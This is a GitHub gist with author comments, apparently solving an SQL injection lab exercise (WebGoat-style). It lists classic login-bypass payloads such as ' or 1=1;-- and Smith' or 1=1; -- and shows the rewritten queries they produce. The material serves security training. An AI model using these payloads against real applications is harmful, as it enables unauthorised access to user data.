Skip to content

Instantly share code, notes, and snippets.

@jipengxiang
Last active November 6, 2019 11:54
Show Gist options
  • Save jipengxiang/3ed6d0fcb15f03ccfc0191b8e8028954 to your computer and use it in GitHub Desktop.
Save jipengxiang/3ed6d0fcb15f03ccfc0191b8e8028954 to your computer and use it in GitHub Desktop.
<input name="password" type="password" size="10" maxlength="8">
# String SQL injection for stage 1
' or 'a'='a';--
' or 1=1;--
abc' or 1=1;--
Select field1, field2 from table where username="" and password ='abc' or 1=1;--
@jipengxiang
Copy link
Author

image

@jipengxiang
Copy link
Author

jipengxiang commented Nov 6, 2019

Solution:

As we can see from the above picture, the SQL statement is

SELECT * FROM user_data WHERE last_name = 'Your Name'
Instead, we can use comment mark to ignore the end single quote.

Attacking Input: Smith' or 1=1; -- ("--" is comment mark, anything followed will be ignored)
Smith' or '1'='1'; --

Then the SQL statement will become:

SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1; --'

image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment